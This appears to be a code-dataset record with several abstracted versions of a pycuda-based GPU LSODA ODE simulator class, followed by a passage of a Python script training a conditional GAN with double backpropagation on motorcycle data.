1))\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.\n _speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n liw[i] = isize\n lrw[i] = rsize\n try:\n for j in range(self._speciesNumber):\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.\n float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,\n total_threads)\n self._param_tex.set_array(ary)\n if self._dt <= 0:\n for i in range(self._resultNumber):\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n else:\n tt = self._timepoints[0]\n for i in range(self._resultNumber):\n while 1:\n next_time = min(tt + self._dt, self._timepoints[i])\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n if np.abs(next_time - self._timepoints[i]) < 1e-05:\n tt = next_time\n break\n tt = next_time\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n return ret_xt[0:experiments]\n", "<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n _param_tex = None\n _step_code = None\n _runtimeCompile = True\n _lsoda_source_ = \"\"\"\n \n extern \"C\"{\n\n #include <stdio.h>\n \n __device__ myFex myfex;\n __device__ myJex myjex;\n \n __global__ void init_common(){\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n cuLsodaCommonBlockInit( &(common[tid]) );\n }\n \n __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, \n double *rtol, double *atol, int *itask, int *istate, int *iopt, \n double *rwork, int *lrw, int *iwork, int *liw, int *jt)\n {\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n //if(tid==0){\n //printf(\"I am thread time %d %f\\\\n\", tid, t[0] );\n //}\n\n dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, \n istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );\n\n //if(tid==0){\n //printf(\"I am done %d %f\\\\n\", tid, t[0] );\n //}\n }\n }\n \n \"\"\"\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads,\n in_atol=1e-06, in_rtol=1e-06):\n total_threads = threads * blocks\n experiments = len(parameters)\n neqn = self._speciesNumber\n init_common_kernel = self._completeCode.get_function('init_common')\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.\n _speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n liw[i] = isize\n lrw[i] = rsize\n try:\n for j in range(self._speciesNumber):\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.\n float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,\n total_threads)\n self._param_tex.set_array(ary)\n if self._dt <= 0:\n for i in range(self._resultNumber):\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n else:\n tt = self._timepoints[0]\n for i in range(self._resultNumber):\n while 1:\n next_time = min(tt + self._dt, self._timepoints[i])\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n if np.abs(next_time - self._timepoints[i]) < 1e-05:\n tt = next_time\n break\n tt = next_time\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n return ret_xt[0:experiments]\n", "<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads,\n in_atol=1e-06, in_rtol=1e-06):\n total_threads = threads * blocks\n experiments = len(parameters)\n neqn = self._speciesNumber\n init_common_kernel = self._completeCode.get_function('init_common')\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.\n _speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n liw[i] = isize\n lrw[i] = rsize\n try:\n for j in range(self._speciesNumber):\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.\n float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,\n total_threads)\n self._param_tex.set_array(ary)\n if self._dt <= 0:\n for i in range(self._resultNumber):\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n else:\n tt = self._timepoints[0]\n for i in range(self._resultNumber):\n while 1:\n next_time = min(tt + self._dt, self._timepoints[i])\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n if np.abs(next_time - self._timepoints[i]) < 1e-05:\n tt = next_time\n break\n tt = next_time\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n return ret_xt[0:experiments]\n", "<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n <function token>\n", "<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,941
aba3e0907e59bc5125759e90d3c784ceb97fca80
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # python/motorcycle.py Author "Nathan Wycoff <[email protected]>" Date 06.23.2019 # Run a CGAN on the motorcycle data. import keras import numpy as np from tqdm import tqdm import matplotlib.pyplot as plt np.random.seed(123) import tensorflow as tf from scipy.optimize import line_search tf.enable_eager_execution() tf.set_random_seed(123) P = 1 # Dim of X data (to be conditioned on) R = 1 # Dim of latent error variable Q = 1 # Dim of y data (to be generated) H = 20# Number of hidden units epochs = 1000 doubleback_const = 1 # Load and pre-process data mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header = 1) N = mcycle.shape[0] x = mcycle[:,0].reshape([N,P]) y = mcycle[:,1].reshape([N,Q]) #x /= max(x) #y = (y-min(y)) / (max(y) - min(y)) x = (x - np.mean(x)) / np.std(x) y = (y - np.mean(y)) / np.std(y) # Build the generator, accepts X and Z as inputs gen = tf.keras.Sequential() gen.add(tf.keras.layers.Dense(H, input_dim = P + R, activation = tf.keras.activations.elu)) gen.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu)) gen.add(tf.keras.layers.Dense(Q)) # Build the discriminator, accepts an X and a Y as inputs. disc = tf.keras.Sequential() disc.add(tf.keras.layers.Dense(H, input_dim = P + Q, activation = tf.keras.activations.elu)) disc.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu)) disc.add(tf.keras.layers.Dense(1, activation = tf.keras.activations.sigmoid)) gen.summary() disc.summary() # NOTE: Compilation of discriminator needs to occur BEFORE we set its weights untrainable below, as these changes will not be reflected until disc is compiled again. So also be wary of compiling disc later, as its weights may not change. #TODO: the above is a mess, find a better way. #disc.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy') disc.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy') noise = tf.keras.layers.Input(shape = (R,)) xdat = tf.keras.layers.Input(shape = (P,)) genin = tf.keras.layers.concatenate([xdat, noise]) genout = gen(genin) discin = tf.keras.layers.concatenate([xdat, genout]) validity = disc(discin) #NOTE: Next lin possible issue in ordering of inputs? both_mod = tf.keras.models.Model([xdat, noise], validity) both_mod.layers[5].trainable = False #both_mod.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy') #both_mod.compile(tf.train.AdamOptimizer(), 'binary_crossentropy') both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy') ## Custom training with double backprop #genloss = lambda: both_mod.output #genopt = tf.keras.optimizers.Adam(genloss, both_mod.trainable_variables) # Do the training! for epoch in tqdm(range(epochs)): # Sample some noise #TODO: Batch size some_noise = np.random.normal(size=[N,R]) gen_dat = gen.predict(np.hstack([x, some_noise])) # Train discriminator #NOTE: Minor discrepency in losses from the manual loop below and from keras's built in: follow up if there appears to be bugs. #disc_rl = disc.train_on_batch(np.hstack([x, y]), np.ones(N)) #disc_fl = disc.train_on_batch(np.hstack([x, gen_dat]), np.zeros(N)) #disc_loss = 0.5 * np.add(disc_rl, disc_fl) disc.trainable = True with tf.GradientTape() as td: with tf.GradientTape() as t: #preds_real = disc(tf.cast(np.concatenate([x, y]).reshape([N,P+Q]), tf.float32)) #preds_fake = disc(tf.cast(np.concatenate([x, gen_dat]).reshape([N,P+Q]), tf.float32)) preds_real = disc(tf.cast(np.hstack([x, y.reshape([N,Q])]), tf.float32)) preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32)) dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds_real, tf.float64))) dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.zeros(N).reshape([N,1]), tf.cast(preds_fake, tf.float64))) dl = 0.5*tf.add(dl_real, dl_fake) grads = t.gradient(dl, disc.trainable_variables) grads_norm = 0 for i in range(len(grads)): #grads_norm += tf.reduce_sum(tf.square(grads[i])) grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, disc.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.trainable_variables[i]) for i in range(len(grads))] disc.optimizer.apply_gradients(grads_n_vars) disc.trainable = False # Train generator #both_mod.train_on_batch([x, some_noise], np.ones(N)) # Manually compute and apply gradient with tf.GradientTape() as td: with tf.GradientTape() as t: preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)]) bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds, tf.float64))) #bl = tf.losses.sigmoid_cross_entropy(preds, np.ones(N).reshape([N,1])) grads = t.gradient(bl, both_mod.trainable_variables) grads_norm = 0 for i in range(len(grads)): #grads_norm += tf.reduce_sum(tf.square(grads[i])) grads_norm += tf.reduce_mean(tf.square(grads[i])) grads_norm /= float(len(grads)) double_grads = td.gradient(grads_norm, both_mod.trainable_variables) grads_n_vars = [(grads[i] + doubleback_const*double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))] both_mod.optimizer.apply_gradients(grads_n_vars) # Plot the results fig = plt.figure() plt.scatter(x, y) some_noise = np.random.normal(size=[N,P]) preds = gen.predict(np.hstack([x, some_noise])) plt.scatter(x, preds) #plt.savefig("images/motor_scatter.pdf") plt.savefig("temp.pdf")
[ "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# python/motorcycle.py Author \"Nathan Wycoff <[email protected]>\" Date 06.23.2019\n\n# Run a CGAN on the motorcycle data.\nimport keras\nimport numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\n\nnp.random.seed(123)\nimport tensorflow as tf\nfrom scipy.optimize import line_search\ntf.enable_eager_execution()\ntf.set_random_seed(123)\n\nP = 1 # Dim of X data (to be conditioned on)\nR = 1 # Dim of latent error variable\nQ = 1 # Dim of y data (to be generated)\nH = 20# Number of hidden units\nepochs = 1000\ndoubleback_const = 1\n\n# Load and pre-process data\nmcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header = 1)\nN = mcycle.shape[0]\nx = mcycle[:,0].reshape([N,P])\ny = mcycle[:,1].reshape([N,Q])\n#x /= max(x)\n#y = (y-min(y)) / (max(y) - min(y))\nx = (x - np.mean(x)) / np.std(x)\ny = (y - np.mean(y)) / np.std(y)\n\n# Build the generator, accepts X and Z as inputs\ngen = tf.keras.Sequential()\ngen.add(tf.keras.layers.Dense(H, input_dim = P + R, activation = tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\n\n# Build the discriminator, accepts an X and a Y as inputs.\ndisc = tf.keras.Sequential()\ndisc.add(tf.keras.layers.Dense(H, input_dim = P + Q, activation = tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation = 